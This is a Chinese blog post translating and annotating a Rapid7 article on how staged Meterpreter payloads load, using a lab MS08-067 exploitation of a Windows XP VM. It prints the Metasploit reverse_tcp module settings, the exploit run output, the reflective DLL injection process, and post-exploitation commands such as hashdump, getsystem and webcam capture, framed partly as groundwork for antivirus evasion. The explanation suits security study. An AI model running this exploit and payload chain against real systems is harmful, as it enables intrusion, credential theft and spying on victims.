meterpreter载荷执行过程及原理

原文地址《Deep Dive Into Stageless Meterpreter Payloads

前言

本文通过翻译rapid7的文章,学习理解了meterpreter载荷执行过程及原理,并学习了stage payload的设计理念,这为将来的木马免杀技术学习及通信原理的学习都有很好的帮助,最后在rapid文章翻译基础上,笔者加入了自己的绘图理解,形象的展现了这一过程。

一、什么是stage payload

stage payload是一种分段式的载荷运行方式,它的设计理念是为了满足二进制溢出漏洞利用过程中,由于内存地址中留给攻击者的布局shellcode空间很小的情景。这种情况下,攻击者可以先利用漏洞向靶机发送一个很小的payload,这里命名为stage0,达到建立目标机器与攻击机器建立一个shell通信的目的,然后再通过stage0上传stage1,stage2……等方式,逐步将shell的控制权进行移交,最终得到一个功能强大的shell,这个过程其实和web渗透中的小马拉大马的原理很相似。

二、meterpreter的分段载荷运行过程(ms08-067为例)

实验环境:
攻击机:kali 2020 192.168.253.168
靶机:winxp sp3 192.168.253.141
在这里插入图片描述
我们在攻击机启动msf,选中windows/smb/ms08_067_netapi攻击模块,并设置相应的选项如下。

msf5 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.253.141  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.253.168  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   34  Windows XP SP3 Chinese - Simplified (NX)

当我们运行run命令,发送payload时,攻击机器首先会启动一个反弹shell的监听,如下图,默认启动端口为4444端口。
在这里插入图片描述
随后,攻击机将一段精心设计好的shellcode发送给靶机,这段shellcode一般为两部分组成:一部分是由一段指令组成,当EIP指向它时,它能够反弹给攻击机一个shell即stage0,这个stage0使攻击机和靶机建立第一个通信,类似于web渗透的小马。另一部分是触发漏洞的特定exploit,它一般是超过正常程序运行通信字节,进而达到覆盖缓冲区EIP指针的目的,使EIP指针指向之前布局好的stage0的起始地址,过程如下图。
在这里插入图片描述
当漏洞触发,靶机执行了stage0,攻击机和靶机建立了一个通信shell,但这个shell并不能完全控制靶机,于是meterpreter会将stage1上传到靶机,这是一个编译好的动态链接库dll文件文件一般以metsrv命名,本例中我们可以在kali2020的中找到该文件,其绝对路径为

/usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.1/data/meterpreter/metsrv.x86.dll

靶机发送stage1(即metsrv)的过程如下图
在这里插入图片描述
我们在msf中的执行过程也可以证实上述情况,在第三个[*]中可以看到提示Sending stage (176195 bytes) to 192.168.253.141,这正是stage1。

msf5 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 192.168.253.168:4444 
[*] 192.168.253.141:445 - Attempting to trigger the vulnerability...
[*] Sending stage (176195 bytes) to 192.168.253.141
[*] Meterpreter session 2 opened (192.168.253.168:4444 -> 192.168.253.141:1047) at 2020-05-28 04:12:14 -0400

meterpreter > 

我们可以查看metsrv.x86.dll文件大小,发现msf发送字节与该文件字节大小极其相近,由于笔者对此研究没有达到代码级别,因此多出那一段字节是什么在此不做讨论,此处我们只需清楚这个过程meterpreter发送了stage1是metsrv.x86.dll即可。

root@kali2020Local:~# ls -l /usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.1/data/meterpreter/metsrv.x86.dll
-rw-r--r-- 1 root root 175104 May 15 03:16 /usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.1/data/meterpreter/metsrv.x86.dll

一旦stage1(即metsrv.x86.dll)被加载进入内存,stage0通过简单的EIP指针跳转,将指令控制权转交给stage1,stage1即metsrv的前60个字节是一段shellcode,其一旦执行,将利用反射式DLL注入技术重新映射metsrv并将其加载到内存中,使其达到无需将写入磁盘或向主机进程注册而能够正常工作的目的,这也是meterpreter达到一定免杀效果的原理。然后,它调用DllMain()函数在这个已经加载的ddl文件上,接下来我们熟悉的Meterpreter便接管了控制权。
从这开始,MSF会向靶机推送两个Meterpreter扩展DLL:stdapi和priv。这两个DLL文件也都以与metsrv DLL相同的方式反射加载。此时,Meterpreter已经准备完成,并等待接收攻击者的控制指令。当我们得到一个meterpreter shell的时候,使用help命令,可以看到stdapi和priv两个库文件下包含的命令如下,至此我们也大致了解了两个DLL文件实现的功能。

Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play an audio file on target system, nothing written on disk


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

三、总结

综上过程,我们在获得一个meterpreter会话过程中,实际上有四个stage上传,它们分别是

  • stage0:smb漏洞利用载荷和体积小功能简单的反弹shell小马
  • stage1:metsrv.x86.dll
  • stage2:stdapi.dll
  • stage3:priv.dll

我们可以用以下一张图来描绘其大致流程
在这里插入图片描述

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值